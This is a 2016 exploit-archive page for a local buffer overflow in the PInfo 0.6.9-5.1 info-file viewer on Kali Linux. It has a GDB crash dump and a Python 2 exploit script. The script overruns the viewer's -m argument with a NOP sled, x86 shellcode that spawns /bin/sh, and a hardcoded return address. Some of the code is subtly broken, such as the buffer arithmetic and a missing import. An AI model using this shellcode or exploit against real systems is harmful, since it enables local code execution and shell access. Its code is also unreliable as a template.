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PInfo 0.6.9-5.1 Buffer Overflow

PInfo 0.6.9-5.1 Buffer Overflow
Posted Jun 28, 2016
Authored by Juan Sacco

PInfo version 0.6.9-5.1 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
MD5 | f30823faae674df6ee0f431558e988ab

PInfo 0.6.9-5.1 Buffer Overflow

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# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: PInfo - File viewer
# Version: 0.6.9-5.1
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: An alternative info-file viewer
# pinfo is an viewer for Info documents, which is based on ncurses.
# Kali Linux 2.0 package: pool/main/p/pinfo/pinfo_0.6.9-5.1_i386.deb
# MD5sum: 9487efb0be037536eeda31b588cb6f89
# Website:http://pinfo.alioth.debian.org/
#
# $ run -m `python -c 'print "A"*564+"DCBA"'`
# Program received signal SIGSEGV, Segmentation fault.
# --------------------------------------------------------------------------[regs]
# EAX: 0x00000002 EBX: 0xB7F0B000 ECX: 0x00004554 EDX: 0x00000100
o d I t s z a P c
# ESI: 0x41424344 EDI: 0x00004554 EBP: 0xBFFFF4A4 ESP: 0xBFFFEF30
EIP: 0xB7D92832
# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
# --------------------------------------------------------------------------[code]
# => 0xb7d92832 <__GI_getenv+114>: cmp di,WORD PTR [esi]
# 0xb7d92835 <__GI_getenv+117>: jne 0xb7d92828 <__GI_getenv+104>
# 0xb7d92837 <__GI_getenv+119>: mov eax,DWORD PTR [esp+0x14]
# 0xb7d9283b <__GI_getenv+123>: mov DWORD PTR [esp+0x8],eax
# 0xb7d9283f <__GI_getenv+127>: mov eax,DWORD PTR [esp+0x18]
# 0xb7d92843 <__GI_getenv+131>: mov DWORD PTR [esp+0x4],eax
# 0xb7d92847 <__GI_getenv+135>: lea eax,[esi+0x2]
# 0xb7d9284a <__GI_getenv+138>: mov DWORD PTR [esp],eax
# --------------------------------------------------------------------------------
#
# gdb$ x/100x $esp
# 0xbffff250: 0xbffff49c 0x00000003 0x00000001 0x00000002
# 0xbffff260: 0xb7d6ebf8 0xb7fe78bd 0xb7d74ffd 0x41049384
# 0xbffff270: 0x41414141 0x41414141 0x41414141 0x41414141
# 0xbffff280: 0x41414141 0x41414141 0x41414141 0x41414141
# 0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141
# 0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141
# 0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141

import os, subprocess

def run():
try:
print "# PInfo File Viewer - Local Buffer Overflow by Juan Sacco"
print "# This Exploit has been developed using Exploit Pack"
# NOPSLED + SHELLCODE + EIP

buffersize = 564
nopsled = "\x90"*200
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x40\xf3\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip
subprocess.call(["pinfo -m",' ', buffer])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, PInfo File Viewer - Not found!"
else:
print "Error executing exploit"
raise

def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)

if __name__ == '__main__':
try:
print "Exploit PInfo 0.6.9-5.1 Local Overflow Exploit"
print "Author: Juan Sacco - Exploit Pack"
except IndexError:
howtousage()
run()

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